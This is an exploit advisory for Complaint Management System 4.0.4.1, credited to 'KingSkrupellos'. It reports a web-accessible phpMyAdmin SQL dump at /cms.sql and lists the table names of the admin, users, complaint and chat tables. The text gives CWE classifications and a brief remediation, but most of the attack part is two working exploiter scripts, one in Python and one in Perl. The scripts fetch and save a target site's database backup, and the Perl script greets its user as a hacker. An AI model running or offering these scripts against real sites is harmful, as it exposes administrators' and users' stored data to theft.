###########################################################################

# Exploit Title : Complaint Management System CMS 4.0.4.1 Database Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 04/04/2019
# Vendor Homepage : msclpk.com
# Software Download Link : github.com/tanay1337/CMS/archive/master.zip
# Software Information Link : msclpk.com/products-complaint-management-system.asp
github.com/tanay1337/CMS
# Version : 4.0.4.1
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : 
CWE-200 [ Information Exposure ]
CWE-538 [ File and Directory Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
# Acunetix Reference Link About => [ phpMyAdmin SQL Dump File ]
acunetix.com/vulnerabilities/web/phpmyadmin-sql-dump/
# Acunetix Reference Link About : [ Possible Database Backup File ]
acunetix.com/vulnerabilities/web/possible-database-backup/

###########################################################################

# Description about Software :
***************************
Complaint Management System (CMS), is a set of integrated tools, optimized to meet efficient 

handling of complaints, and automate processes like registering new complaints, managing existing 

complaints, automatic escalation of unresolved complaints, managing complaint statuses, 

performing number of consumer inquiries, handling of complaints by respective persons/departments

 and producing informative MIS. It allows all team members to work in a collaborative manner.  

CMS is an integrated system, well documented, and based on Client / Server and Relational Database

technology. Its Disaster Recovery module ensures System Availability.

CMS is protected from unauthorized system access by its User Management Module. Its Logging facility 

ensures complete management control over its usage. This ensures that the system is used to meet its purpose.

This modular systemis based on well-defined framework consisting of five main modules named 

Public Interface, Complaint Handling, MIS, User Management and Disaster Recovery.

###########################################################################

# Impact :
***********
* The product stores sensitive information in files or directories that are accessible 

to actors outside of the intended control sphere.

* An information exposure is the intentional or unintentional disclosure of information 

to an actor that is not explicitly authorized to have access to that information.

* phpMyAdmin is a free software tool written in PHP, intended to handle the administration of 

MySQL over the World Wide Web. It can be used to dump a database or a collection of 

databases for backup or transfer to another SQL server (not necessarily a MySQL server). 

The dump typically contains SQL statements to create the table, populate it, or both. 

This file contains an phpMyAdmin SQL dump. This information is highly sensitive and 

should not be found on a production system.

* It looks like this file contains a database backup/dump. 

Acunetix inferred this filename from the domain name. A database backup contains a record of the

 table structure and/or the data from a database and is usually in the form of a list of SQL statements. 

A database backup is most often used for backing up a database so that its contents can be restored 

in the event of data loss. This information is highly sensitive and should never be found on a production system.

Remediation : Sensitive files such as database backups should never be stored in a directory that is accessible 

to the web server. As a workaround, you could restrict access to this file.

###########################################################################

File :
*****
/cms.sql

Information :
************
-- phpMyAdmin SQL Dump
-- version 4.0.4.1
-- phpmyadmin.net
--
-- Host: 127.0.0.1
-- Server version: 5.5.32
-- PHP Version: 5.4.19
-- Database: `cms`

-- Table structure for table `admin`

-- Dumping data for table `admin`

-- Table structure for table `bulletin`

-- Table structure for table `chat`

-- Dumping data for table `chat`

-- Table structure for table `complaint`

-- Dumping data for table `complaint`

-- Table structure for table `users`

-- Dumping data for table `users`

###########################################################################

# Database Disclosure Information Exposure Python Exploiter 1 :
********************************************************
#!/usr/bin/python
import string
import re
from urllib2 import Request, urlopen
disc = "/cms.sql"
url = raw_input ("URL: ")
req = Request(url+disc)
rta = urlopen(req)
print "Result"
html = rta.read()
rdo = str(re.findall("resources.*=*", html))
print rdo
exit

###########################################################################

# Database Disclosure Information Exposure Perl Exploiter 2 :
*****************************************************
#!/usr/bin/perl -w
# Author : KingSkrupellos
# Team : Cyberizm Digital Security Army

use LWP::Simple;
use LWP::UserAgent;

system('cls');
system('Complaint Management System CMS 4.0.4.1 Database Disclosure');
system('color a');


if(@ARGV < 2)
{
print "[-]How To Use\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}
($TargetIP, $path, $File,) = @ARGV;

$File="cms.sql";
my $url = "http://" . $TargetIP . $path . $File;
print "\n Wait Please Dear Hacker!!! \n\n";

my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "D:/cms.sql");

if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to D:/cms.sql\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}

###########################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

###########################################################################